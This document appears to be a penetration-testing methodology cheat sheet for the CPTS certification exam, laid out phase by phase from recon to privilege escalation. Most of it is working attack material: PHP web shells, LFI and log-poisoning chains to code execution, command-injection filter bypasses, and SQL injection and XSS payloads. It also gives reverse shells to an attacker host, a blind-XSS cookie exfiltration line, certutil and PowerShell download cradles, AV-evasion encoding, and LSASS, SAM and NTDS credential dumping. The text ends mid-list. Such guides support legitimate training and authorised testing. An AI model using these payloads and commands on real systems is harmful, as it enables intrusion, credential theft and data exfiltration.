CPTS Bulletproof Methodology

Quick Reference Guide

For: CPTS Exam Candidates & Penetration Testers Version: 2.0 Last Updated: May 2026

How to Use This Methodology

Follow phases sequentially. After EACH new foothold, RESTART from Phase 1 on the new host. The exam tests methodology, not just tools. Understand WHY each step matters.

---

Phase 0: Setup & Recon Prep

Tool Checklist

Verify all tools present before starting:

# Core tools
nmap, crackmapexec/netexec, smbclient, smbmap, rpcclient, enum4linux, enum4linux-ng
responder, kerbrute, bloodhound/python, sharphound, powerview, rubeus, mimikatz

# Impacket suite
psexec, wmiexec, secretsdump, smbexec, mssqlclient, GetNPUsers, ticketer, ntlmrelayx

# Pivoting & tunneling
evil-winrm, xfreerdp, sshuttle, chisel, socat, proxychains, ssh, plink

# Cracking & fuzzing
hashcat, john, seclists, ffuf, gobuster, nikto, sqlmap

# Payload & shell
msfvenom, msfconsole, nc/ncat, python3 http servers

6-Layer Enumeration Methodology

1. Internet Presence — domains, subdomains, vHosts, ASN, netblocks, IPs, cloud instances
2. Gateway — firewalls, DMZ, IPS/IDS, EDR, proxies, NAC, VPN, Cloudflare
3. Accessible Services — service type, functionality, config, port, version, interface
4. Processes — PID, processed data, tasks, source, destination
5. Privileges — groups, users, permissions, restrictions, environment
6. OS Setup — OS type, patch level, network config, config files, sensitive files

Injection Type Quick Reference

TypePayloads
SQL Injection' , ; -- /* */
Command Injection; && || \ ` $()`
LDAP Injection* ( ) & |
Directory Traversal../ ..\ %00
Header Injection\n \r\n \t %0d %0a %09

Workspace Setup

mkdir -p loot screenshots notes
# Record EVERYTHING: timestamps, commands, output
# Every credential found → save immediately
# Every host compromised → note IP, hostname, user, method

Phase 1: External Recon & Enumeration

Passive Information Gathering

Decision: Do we have a domain name?
├── YES → proceed with DNS/subdomain enum
└── NO → look for ASN, IP ranges, email addresses

Tools: viewdns.info, whois, shodan, censys, hunter.io, theHarvester, linkedin2username

OSINT Sources:

# Certificate transparency (subdomains from certs)
curl -s "https://crt.sh/?q=<domain>&output=json" | jq -r '.[].name_value' | sort -u

# Cloud resources (S3 buckets, Azure blobs)
# Google: site:s3.amazonaws.com "<company>"
# Google: intext:<company> inurl:blob.core.windows.net

# Staff / LinkedIn → username generation
# linkedin2username.py -c "Company Name" -d domain.com

# GitHub secrets
# Search: "<company>" password, token, api_key

DNS Enumeration:

# Zone transfer attempt
dig axfr @<DNS_IP> <domain>

# Subdomain brute force
dnsenum --enum <domain> -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# DNS records
dig ANY <domain> @<DNS_IP>
dig A <domain>
dig MX <domain>
dig TXT <domain>
dig NS <domain>

# DNS version (reveals BIND/etc version)
dig CH TXT version.bind @<DNS_IP>

# Reverse DNS
dig -x <ip>

Active Scanning

Port Scan Decision Tree:

Target size?
├── Single host → Full TCP scan immediately
│   └── nmap -sT -p- --min-rate=10000 -oA full_tcp <target>
├── Small range (≤256) → Ping sweep then full scan
│   └── nmap -sn <range> -oA live_hosts
│   └── nmap -sT -p- -iL live_hosts.txt -oA full_tcp
└── Large range → Top 1000 first, then targeted deep scans
    └── nmap -sC -sV --top-ports=1000 -iL targets.txt -oA top1000

Service Version Scan (after port discovery):

nmap -sC -sV -p <discovered_ports> -oA detailed <target>

Firewall/IDS Evasion Techniques

# Source port bypass (DNS is often trusted)
nmap --source-port 53 -sS -Pn <target>

# Decoy scan (hide among random IPs)
nmap -D RND:5 -sS -Pn <target>

# Idle scan (ultra-stealthy, uses zombie host)
nmap -sI <zombie_host>:<zombie_port> -Pn <target>

# Fragment packets
nmap -f -Pn <target>
nmap --mtu 24 -Pn <target>

# FTP bounce scan
nmap -Pn -v -n -p80 -b anonymous:pass@<ftp_server> <internal_target>

# Performance tuning
-T4                    # Aggressive timing (fast scans)
--max-retries 0        # No retries (faster, may miss ports)
--min-rate 300         # Minimum packets/sec

Service-Specific Enumeration

SMB (139/445)

# Null session check
smbclient -N -L //<target>
smbmap -H <target>

# RPC enumeration (deep)
rpcclient -U'%' <target>
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
rpcclient $> netshareenumall
rpcclient $> getdompwinfo

# RID brute-forcing
for i in $(seq 500 1100); do rpcclient -U "%" -N <target> -c "queryuser 0x$(printf '%x' $i)" 2>/dev/null | grep "User Name"; done

# Comprehensive automated
enum4linux-ng.py <target> -A -C

# NetExec
netexec smb <target> --shares
netexec smb <target> --users
netexec smb <target> --pass-pol
netexec smb <target> -u '' -p '' --rid-brute

FTP (21)

# Anonymous login check
ftp <target>
# user: anonymous / pass: (empty)

# Version & scripts
nmap -sC -sV -p 21 <target>

# FTP interaction commands
ftp> ls -R              # Recursive listing
ftp> binary             # Binary transfer mode
ftp> put shell.php      # Upload file (if write access)
ftp> get file.txt       # Download file

# Brute force
hydra -L users.txt -P passwords.txt ftp://<target>

SSH (22)

# Version
nmap -sV -p 22 <target>

# Brute force
hydra -L users.txt -P passwords.txt ssh://<target>

SMTP (25)

# User enumeration
telnet <target> 25
VRFY admin
VRFY root
EXPN admin
RCPT TO: admin

# Nmap scripts
nmap --script smtp-enum-users -p 25 <target>
nmap --script smtp-open-relay -p 25 <target>

NFS (2049)

showmount -e <target>
sudo mount -t nfs <target>:<share> /mnt/nfs -o nolock
ls -la /mnt/nfs
ls -n /mnt/nfs   # Show UIDs (not resolved names)

# UID/GID spoofing (access files as file owner)
sudo useradd -u <target_uid> nfsuser
su nfsuser

# no_root_squash exploitation (if present)
gcc -o /mnt/nfs/rootshell /tmp/suid.c
chmod u+s /mnt/nfs/rootshell

LDAP (389)

# Anonymous bind
ldapsearch -h <target> -x -b "dc=domain,dc=com"
ldapsearch -h <target> -x -b "dc=domain,dc=com" "(objectClass=user)"
ldapsearch -h <target> -x -b "dc=domain,dc=com" "(objectClass=group)"

MSSQL (1433)

# Connection
sqsh -S <target> -U <user> -P '<pass>'
mssqlclient.py <user>@<target>

# Hash capture (NTLMv2 to Responder)
SQL> xp_dirtree '\\<attacker>\share'

MySQL (3306)

mysql -u <user> -p<pass> -h <target>

# Useful MySQL queries
SHOW DATABASES;
USE <database>;
SHOW TABLES;
SELECT * FROM <table>;
SELECT LOAD_FILE('/etc/passwd');  # Read files (if FILE privilege)
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';  # Write files

RDP (3389)

# Check NLA
nmap -sV -p 3389 <target>

# Brute force
hydra -L users.txt -P passwords.txt rdp://<target>

WinRM (5985/5986)

netexec winrm <target> -u users.txt -p passwords.txt
evil-winrm -i <target> -u <user> -p '<pass>'

SNMP (161)

snmpwalk -v2c -c public <target>
snmpwalk -v2c -c community <target>
onesixtyone -c community_strings.txt <target>

# OID-specific queries
# Processes: snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.25.4.2.1.2
# Users: snmpwalk -v2c -c public TARGET 1.3.6.1.4.1.77.1.2.25
# TCP ports: snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.6.13.1.3

Oracle TNS (1521)

nmap -p1521 -sV <target> --open
nmap -p1521 -sV <target> --open --script oracle-sid-brute
./odat.py all -s <target>
# Default creds: SYS:CHANGE_ON_INSTALL, DBSNMP:dbsnmp, SCOTT:tiger
sqlplus scott/tiger@<target>/XE

IPMI (623/UDP)

sudo nmap -sU --script ipmi-version -p 623 <target>
# Default creds: root:calvin (Dell iDRAC), ADMIN:ADMIN (Supermicro)
# Hash dump via Metasploit: use auxiliary/scanner/ipmi/ipmi_dumphashes

Rsync (873)

nc -nv <target> 873
rsync -av --list-only rsync://<target>/<share>
rsync -av rsync://<target>/<share> ./loot/

Phase 2: Web Application Enumeration

Passive first, active second. DNS/subdomain enum BEFORE directory brute-forcing. Always check WAF before aggressive scanning.

WAF Detection (do FIRST)

wafw00f <target>
# If WAF present → reduce threads, use encoding, consider evasion
# If no WAF → proceed with normal scanning

Technology Fingerprinting

# Server headers
curl -I http://<target>

# Technology detection
whatweb http://<target>

# Common files
curl -s http://<target>/robots.txt        # Hidden paths
curl -s http://<target>/sitemap.xml       # Site structure
curl -s http://<target>/.git/HEAD         # Git leak
curl -s http://<target>/.well-known/openid-configuration  # OAuth/OIDC

Virtual Host Discovery

# Add discovered vhosts to /etc/hosts
echo "10.129.x.x app.domain.local dev.domain.local" | sudo tee -a /etc/hosts

# ffuf vhost fuzzing
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://domain.local/ -H 'Host: FUZZ.domain.local' -fs <default_size>

Directory Brute-Forcing

gobuster dir -u http://<target> -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 50
ffuf -u http://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
feroxbuster -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

CMS Detection & Enumeration

Decision: What CMS/application?
├── WordPress → WPScan, plugin/theme enum, user enum
├── Joomla → joomscan, droopescan
├── Drupal → droopescan, Drupalgeddon checks
├── Tomcat → /manager, /host-manager, default creds
├── Jenkins → /script, /manage, default creds
├── GitLab → Public repos, user registration, API
├── Splunk → License status, default creds
├── PRTG → Default creds (prtgadmin:prtg)
├── phpMyAdmin → Default creds, SQL operations
└── Unknown → Manual testing, Wappalyzer

Phase 3: Web Application Attacks

File Inclusion (LFI/RFI)

Decision: Is user input used in file paths?
├── Yes → Test for LFI
│   ├── Basic: ../../../etc/passwd
│   ├── Encoded: ..%252f..%252f..%252fetc/passwd
│   ├── PHP filter: php://filter/convert.base64-encode/resource=index.php
│   ├── PHP input: php://input (POST body as code)
│   ├── Log poisoning: /var/log/apache2/access.log
│   └── SSH log poisoning: /var/log/auth.log
├── RFI possible? → http://attacker/shell.txt
└── No → Move to next attack

LFI Bypass Cheatsheet:

../          ..%252f     ..%c0%af     ..%255c
....//       ..\/        ..;/         %00 (null byte)
php://filter/convert.base64-encode/resource=
expect://id
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpPz4=

Read vs Execute Functions (Critical Distinction):

FunctionReadExecuteRemote URL
include() / include_once()YesYesYes
require() / require_once()YesYesNo
file_get_contents()YesNoYes
fopen() / file()YesNoNo

PHP Session Poisoning:

# Step 1: Poison session (inject PHP code into session via parameter)
curl "http://target/page.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E"

# Step 2: Include session file
curl "http://target/page.php?language=/var/lib/php/sessions/sess_<PHPSESSID>&cmd=id"

Log Poisoning Steps:

# Apache log poisoning
curl -A "<?php system(\$_GET['cmd']); ?>" http://target/
curl "http://target/page.php?file=/var/log/apache2/access.log&cmd=id"

# SSH log poisoning (auth.log)
ssh '<?php system($_GET["cmd"]); ?>'@target
curl "http://target/page.php?file=/var/log/auth.log&cmd=id"

LFI + File Upload = RCE:

# Method 1: Image with PHP code
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
curl "http://target/page.php?language=./profile_images/shell.gif&cmd=id"

# Method 2: ZIP wrapper
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
curl "http://target/page.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id"

Command Injection

Decision: Is user input passed to system commands?
├── Yes → Test injection payloads
│   ├── Basic: ;id, |id, ||id, &&id, `id`, $(id)
│   ├── Blind: time-based (sleep 5), OOB (curl attacker)
│   └── Filtered? → encoding, alternate syntax
└── No → Move to next attack

Command Injection Payloads:

# Injection operators
;       %3b      # Semicolon - both commands
%0a     %0a      # Newline - both commands (often not blacklisted!)
|       %7c      # Pipe - both (only second shown)
&&      %26%26   # AND - both (only if first succeeds)

# SPACE BYPASS (if space filtered)
127.0.0.1%0a%09id                    # Tab (%09) instead of space
127.0.0.1%0a${IFS}id                 # ${IFS} = space+tab

# SLASH BYPASS (if / filtered)
${PATH:0:1}                          # Extracts / from PATH
${HOME:0:1}                          # Extracts / from HOME

# COMMAND BLACKLIST BYPASS
w'h'o'am'i                           # Quote insertion
w"h"o"am"i                           # Double quote insertion
w\ho\am\i                            # Backslash insertion

# BASE64 ENCODED
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

SQL Injection

Decision: Is user input in SQL queries?
├── Error-based → Extract via error messages
├── Union-based → UNION SELECT to extract data
├── Boolean-based → True/False to infer data
├── Time-based → SLEEP/WAITFOR to infer data
├── Stacked queries → Multiple statements
└── No → Move to next attack

SQLi Detection:

' OR 1=1--
" OR 1=1--
admin'--
1' ORDER BY 1--    # Increase number until error
1' UNION SELECT NULL--  # Add NULLs until column count matches

MySQL Enumeration:

' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password FROM users--
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL--

SQLMap:

sqlmap -u "http://target/page?id=1" --batch
sqlmap -u "http://target/login" --data="user=admin&pass=test" --batch
sqlmap -u "http://target/page?id=1" --dbs --batch
sqlmap -u "http://target/page?id=1" -D <database> --tables --batch
sqlmap -u "http://target/page?id=1" -D <database> -T <table> --dump --batch
sqlmap -u "http://target/page?id=1" --os-shell --batch

Cross-Site Scripting (XSS)

Decision: Is user input reflected in HTML?
├── Reflected → Script in URL/parameter
├── Stored → Script saved in database
├── DOM-based → Client-side manipulation
└── No → Move to next attack

XSS Payloads:

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
"><script>alert('XSS')</script>
javascript:alert('XSS')

Blind XSS:

<script src=http://ATTACKER/fieldname></script>
<img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)>

File Upload Attacks

Decision: Can we upload files?
├── Yes → What restrictions exist?
│   ├── Extension bypass: .php5, .phtml, .pht, .php.jpg
│   ├── Content-Type: Change to image/jpeg
│   ├── Double extension: shell.php.jpg
│   ├── Magic bytes: GIF89a header
│   ├── Race condition: Upload and access simultaneously
│   └── SVG upload → XXE or XSS via SVG
├── Upload to web-accessible dir? → Access and execute
└── No → Move to next attack

Web Shells:

<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php if(isset($_REQUEST['cmd'])){echo "<pre>";$cmd = ($_REQUEST['cmd']);system($cmd);echo "</pre>";die;}?>

XXE (XML External Entity)

Decision: Does app parse XML/SVG/DOCX input?
├── Yes → Inject external entity
│   ├── File read: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
│   ├── SSRF: <!ENTITY xxe SYSTEM "http://internal-host:8080/">
│   └── Blind OOB: <!ENTITY xxe SYSTEM "http://attacker/xxe">
└── No → Move to next attack

SSRF (Server-Side Request Forgery)

Decision: Does app fetch URLs on our behalf?
├── Yes → Test internal access
│   ├── Basic: http://127.0.0.1, http://localhost
│   ├── Cloud metadata: http://169.254.169.254/latest/meta-data/
│   ├── Bypass filters: decimal, hex, octal, DNS rebinding
│   └── File read: file:///etc/passwd
└── No → Move to next attack

IDOR (Insecure Direct Object Reference)

Decision: Can we manipulate object references (uid, file_id, etc.)?
├── Yes → Test access control
│   ├── Sequential: Change uid=1 to uid=2
│   ├── Encoded: base64 decode → modify → re-encode
│   ├── Hashed: Check if hash is calculated client-side (JS)
│   └── API: GET/PUT/DELETE other users' endpoints
└── No → Move to next attack

HTTP Verb Tampering & Header Bypass

Decision: Is auth/filter only on GET/POST?
├── Yes → Try alternate verbs (HEAD, PUT, DELETE, PATCH)
├── Header-based bypass?
│   ├── X-Forwarded-For: 127.0.0.1
│   ├── X-Original-URL: /admin
│   └── X-Real-IP: 127.0.0.1
└── No → Move to next attack

Phase 4: Service Attacks

FTP (Port 21)

Decision: FTP Found?
├── Anonymous login? → Enumerate files, download sensitive data
├── Write access? → Upload webshell, overwrite configs
├── Brute force → hydra -L users.txt -P passwords.txt ftp://<target>
├── FTP Bounce → nmap -Pn -v -n -p80 -b anonymous:pass@<ftp> <internal>
└── Version vulns → searchsploit <ftp_version>

SMB (Port 139/445)

Decision: SMB Found?
├── Null session? → Enumerate shares, users, groups
├── Write access? → Upload webshell, malicious files
├── Brute force → hydra/netexec
├── EternalBlue? → nmap --script smb-vuln-ms17-010
├── Pass-the-Hash? → netexec smb <target> -u <user> -H <hash>
├── Responder capture? → LLMNR/NBT-NS poisoning → crack NetNTLMv2
└── NTLM Relay? → ntlmrelayx.py → relay to SMB/LDAP/ADCS

Responder / NTLM Capture:

# On attacker (capture NetNTLMv2 hashes)
sudo responder -I <interface> -wrf

# Crack captured hash
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

# NTLM Relay (no cracking needed)
# Check SMB signing: nmap --script smb2-security-mode -p 445 <targets>
# If signing not required → relay works
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://<dc_ip> -smb2support --escalate-user <user>  # ACL abuse

CrackMapExec (authenticated SMB):

netexec smb <target> -u <user> -p '<pass>' --shares          # Shares
netexec smb <target> -u <user> -p '<pass>' --users           # Users
netexec smb <target> -u <user> -p '<pass>' --loggedon-users  # Logged-on
netexec smb <target> -u <user> -p '<pass>' --sam             # Dump SAM
netexec smb <target> -u <user> -p '<pass>' --lsa             # LSA secrets
netexec smb <target> -u <user> -p '<pass>' -x 'whoami'       # Execute command

MSSQL (Port 1433)

Decision: MSSQL Found?
├── Default creds? → sa:(empty), sa:sa
├── Brute force → hydra -L users.txt -P passwords.txt mssql://<target>
├── xp_cmdshell → Enable and execute commands
├── Linked servers → Enumerate and abuse
├── User impersonation? → EXECUTE AS LOGIN = 'sa'
└── Capture hash → xp_dirtree to attacker SMB

MSSQL Command Execution:

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Execute commands
EXEC xp_cmdshell 'whoami';

-- User impersonation (escalate to sa)
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;

-- Hash capture (NTLMv2 to Responder)
EXEC master..xp_dirtree '\\<attacker_ip>\share';

MySQL (Port 3306)

Decision: MySQL Found?
├── Default creds? → root:(empty), root:root
├── Read files → SELECT LOAD_FILE('/etc/passwd');
├── Write files → SELECT "code" INTO OUTFILE '/var/www/html/shell.php';
└── UDF RCE → If FILE privilege and writable plugin dir

RDP (Port 3389)

Decision: RDP Found?
├── Brute force → hydra -L users.txt -P passwords.txt rdp://<target>
├── Password spraying → crowbar -b rdp -s <target> -U users.txt -c 'Password123'
├── Pass-the-Hash → xfreerdp /v:<target> /u:<user> /pth:<hash>
└── Session hijacking → tscon (needs SYSTEM, Server <2019)

Phase 5: Password Attacks

Get hashes FIRST (Phase 7/8/9), then crack here. Online attacks when cracking fails.

Hash Identification

hashid '<hash>'
hashid -m '<hash>'  # Hashcat mode

Common Hash Formats:

TypeLengthHashcat Mode
MD532 hex0
SHA140 hex100
NTLM32 hex1000
bcrypt$2*$3200

Linux Shadow Hash Identification:

$1$ = MD5
$5$ = SHA-256
$6$ = SHA-512
$y$ = yescrypt (modern default)

Offline Cracking

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 hashes.txt
john --single hashes.txt  # GECOS-based (Linux shadow)

# Hashcat
hashcat -a 0 -m 0 hash.txt /usr/share/wordlists/rockyou.txt  # MD5
hashcat -a 0 -m 1000 hash.txt /usr/share/wordlists/rockyou.txt  # NTLM
hashcat -a 0 -m 0 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# File cracking
ssh2john.py id_rsa > ssh.hash
zip2john file.zip > zip.hash
rar2john file.rar > rar.hash
office2john.py document.docx > office.hash

Custom Wordlists

# CeWL - spider website for words
cewl https://www.target.com -d 4 -m 6 --lowercase -w target.wordlist

# CUPP - Personalized password profiling
cupp -i    # Interactive mode: name, DOB, pet, company, etc.

# Filter by password policy
grep -E '^.{8,}$' wordlist.txt > min8.txt
grep -E '[A-Z]' min8.txt > has_upper.txt

Online Attacks

# HTTP POST Form
hydra -l admin -P passwords.txt <target> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid credentials"

# SSH
hydra -L users.txt -P passwords.txt ssh://<target>

# FTP
hydra -L users.txt -P passwords.txt ftp://<target>

# NetExec spraying
netexec smb <target_range> -u users.txt -p 'Password123!'
netexec smb <target_range> -u users.txt -p 'Welcome1'

Password Spraying

Decision: Account lockout policy?
├── Strict → Spray: 1 password, many users
├── Lenient → Brute force with wordlist
├── Unknown → Start spraying, monitor for lockouts
└── No policy → Full brute force

Phase 6: Shells & Payloads

OS Fingerprinting

# TTL-based detection: TTL 128 = Windows, TTL 64 = Linux
nmap -O <target>

Reverse Shell Selection

Decision: What's available on target?
├── bash → bash -i >& /dev/tcp/<attacker>/<port> 0>&1
├── python → python3 -c 'import socket,subprocess,os;...'
├── php → php -r '$sock=fsockopen(...);exec("/bin/bash -i ...");'
├── netcat → nc <attacker> <port> -e /bin/bash
├── powershell → PowerShell TCP client one-liner
└── none of above → MSFvenom binary upload

Linux Reverse Shells:

# Bash
bash -i >& /dev/tcp/<attacker>/<port> 0>&1

# Netcat with named pipe
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <attacker> <port> > /tmp/f

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker>",<port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"]);'

Shell Stabilization (Full TTY)

# Step 1: Spawn PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Step 2: Background and configure terminal
# Ctrl+Z to background the shell
stty raw -echo
fg
# Hit Enter twice

# Step 3: Set terminal type and size
export TERM=xterm-256color
stty rows 67 columns 318

MSFvenom Payloads

# Linux
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<attacker> LPORT=<port> -f elf -o shell.elf

# Windows
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker> LPORT=<port> -f exe -o shell.exe

# PHP
msfvenom -p php/reverse_php LHOST=<attacker> LPORT=<port> -f raw -o shell.php

# JSP (Tomcat WAR)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker> LPORT=<port> -f war -o shell.war

# With encoding (AV evasion)
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker> LPORT=<port> -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

AV Evasion Techniques

├── Encoding: msfvenom -e x86/shikata_ga_nai -i 5
├── Living off the land (LOLBAS):
│   ├── certutil -urlcache -f http://ATTACKER/shell.exe shell.exe
│   ├── mshta http://ATTACKER/shell.hta
│   └── Reference: https://lolbas-project.github.io/
├── PowerShell download cradle + IEX (fileless):
│   IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')
└── Custom payloads: avoid known signatures

Metasploit Workflow

msfconsole
search <service/vulnerability>
use <number>
show options
set RHOSTS <target>
set LHOST <attacker>
exploit

# Background session
background
sessions -l
sessions -i <id>

# Meterpreter post-exploitation
getuid                     # Current user
sysinfo                    # System info
migrate <PID>              # Move to another process
hashdump                   # Dump SAM hashes
upload/download            # File transfer
portfwd add -L <lp> -p <rp> -r <target>  # Port forwarding
shell                      # Drop to system shell
load kiwi                  # Load Mimikatz

Listener Setup

# Netcat
nc -lvnp <port>

# Metasploit handler
use exploit/multi/handler
set PAYLOAD <payload>
set LHOST <attacker>
set LPORT <port>
exploit

Phase 7: Post-Exploitation - Credential Harvesting

Windows Credential Sources

Decision: What access do we have?
├── Local Admin → Dump SAM, LSASS, LSA secrets
├── Domain User → Check Credential Manager, saved creds
├── SYSTEM → Full access to all credential stores
└── Domain Admin → DCSync, NTDS.dit extraction

SAM Database (Local Accounts)

# Local dump (admin access)
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save

# Offline dump
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

# Remote dump
netexec smb <target> --local-auth -u <admin> -p '<pass>' --sam

# Crack NT hashes
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

LSASS Memory

# Dump (command line)
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> C:\lsass.dmp full

# Extract credentials
pypykatz lsa minidump /path/to/lsass.dmp

# What we get:
# MSV: NT hashes, SHA1 hashes
# WDIGEST: Cleartext passwords (older Windows)
# Kerberos: Tickets, ekeys

Credential Manager

cmdkey /list
# Saved creds → use with runas /savecred
runas /savecred /user:<domain>\<user> cmd.exe

Autologon / Winlogon Registry

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>nul | findstr /i "DefaultUserName DefaultPassword DefaultDomainName"

GPP / cPasswords in SYSVOL

# Find cpassword in Group Policy XML files
findstr /S /I cpassword \\<dc>\sysvol\<domain>\policies\*.xml

# Decrypt
gpp-decrypt <cpassword_hash>

Unattend.xml / Sysprep Credentials

# Check these paths (contain base64-encoded admin passwords)
C:\Windows\Panther\Unattend.xml
C:\Windows\System32\Sysprep\Unattend.xml

# Extract and decode
type C:\Windows\Panther\Unattend.xml | findstr /i "password"

WiFi Password Extraction

netsh wlan show profiles                    # List saved networks
netsh wlan show profile name="<SSID>" key=clear  # Show password

NTDS.dit (Domain Accounts)

# Volume Shadow Copy
vssadmin CREATE SHADOW /For=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit.save
reg.exe save hklm\system C:\system.save

# Offline dump
secretsdump.py -ntds ntds.dit.save -system system.save LOCAL

# Remote DCSync
secretsdump.py <domain>/<user>:<password>@<dc_ip>
secretsdump.py <domain>/<user>:<password>@<dc_ip> --just-dc-ntlm

Linux Credential Sources

cat /etc/shadow
cat /etc/passwd

# SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_ed25519" 2>/dev/null

# History
cat ~/.bash_history
cat /home/*/.bash_history

# Config files
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null

# MySQL
cat ~/.mysql_history
cat /etc/mysql/debian.cnf

Sensitive File Hunting

# Windows - PowerShell
Get-ChildItem -Recurse -Path C:\ -Include *cred*,*secret*,*password* -File -ErrorAction SilentlyContinue

# Linux
find / -name "*cred*" -o -name "*secret*" -o -name "*password*" 2>/dev/null
grep -rn "password" /etc/ /opt/ /var/www/ 2>/dev/null

Phase 8: Privilege Escalation

Linux PrivEsc

Run enumeration scripts FIRST, then follow decision tree. After finding vector, always verify before exploiting.

Enumeration Scripts (run first)

# linPEAS (comprehensive - run first)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# pspy (monitor processes/cron without root)
./pspy64 -pf -i 1000

Manual Enumeration

# Basic info
id; whoami; uname -a; cat /etc/os-release

# SUID/SGID
find / -user root -perm -4000 -type f 2>/dev/null   # SUID

# Capabilities
getcap -r / 2>/dev/null

# Writable files/dirs
find / -writable -type f 2>/dev/null

# Sudo version (check for CVEs)
sudo -V

Decision Tree

What do we have?
├── sudo -l → GTFOBins for allowed commands
├── SUID binary → Check against GTFOBins
├── Writable cron script → Inject reverse shell
├── Wildcard abuse in cron → tar --checkpoint injection
├── Writable /etc/passwd → Add root user (openssl passwd -1)
├── Capabilities → Check all dangerous caps
│   ├── cap_setuid → vim.basic -c ':!sh'
│   ├── cap_dac_override → Modify protected files
│   └── cap_sys_admin → Mount/namespace abuse
├── PATH abuse → Writable dir in PATH, create fake cmd
├── LD_PRELOAD → env_keep+=LD_PRELOAD in sudoers
├── Docker group → docker run -v /:/mnt --rm -it alpine chroot /mnt sh
├── LXD group → lxd init, lxc image import, mount host fs
├── Kernel exploit → searchsploit linux kernel <version>
│   ├── Polkit/Pwnkit (CVE-2021-4034)
│   ├── Dirty Pipe (CVE-2022-0847)
│   └── Baron Samedit (CVE-2021-3156)
├── NFS root_squash → Create SUID binary on share
├── Restricted shell escape → rbash/rksh/rzsh bypass
├── Tmux session hijack → Weak session file permissions
└── Disk group → debugfs on /dev/sdaX

Windows PrivEsc

Run WinPEAS first, then follow decision tree. Always check protections (Defender, AppLocker) before uploading tools.

Enumeration Scripts

# WinPEAS (comprehensive)
.\winPEASany.exe quiet fast

# Seatbelt (security-focused)
.\Seatbelt.exe -group=all -full

# PowerUp
Import-Module .\PowerUp.ps1
Invoke-AllChecks

Manual Enumeration

# Situational awareness (do FIRST)
whoami /priv                    # Privileges
whoami /groups                  # Group membership
systeminfo                      # OS version, hotfixes
ipconfig /all                   # Network interfaces (pivot targets!)
netstat -ano                    # Listening ports (localhost-only services)

# Protections (determine approach)
Get-MpComputerStatus            # Defender status
Get-AppLockerPolicy -Effective  # AppLocker rules
$ExecutionContext.SessionState.LanguageMode  # PS language mode

# Credential hunting
cmdkey /list
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt 2>$null

Decision Tree

What privileges do we have?
├── SeImpersonatePrivilege → JuicyPotato (≤2016), PrintSpoofer (2019+), GodPotato (newer)
├── SeDebugPrivilege → ProcDump LSASS, Mimikatz sekurlsa::minidump
├── SeBackupPrivilege → VSS copy, diskshadow, robocopy /B, extract NTDS.dit
├── SeTakeOwnershipPrivilege → takeown + icacls on protected files
├── Unquoted Service Path → Insert malicious exe in path
├── Writable Service Binary → Replace with reverse shell
├── Service Misconfig → sc config binpath= (SERVICE_ALL_ACCESS)
├── DLL Hijacking → Find missing DLLs with ProcMonitor, place malicious DLL
├── Always Install Elevated → Malicious MSI
├── Stored Credentials → cmdkey /list, Credential Manager
├── Scheduled Task → Writable script running as SYSTEM
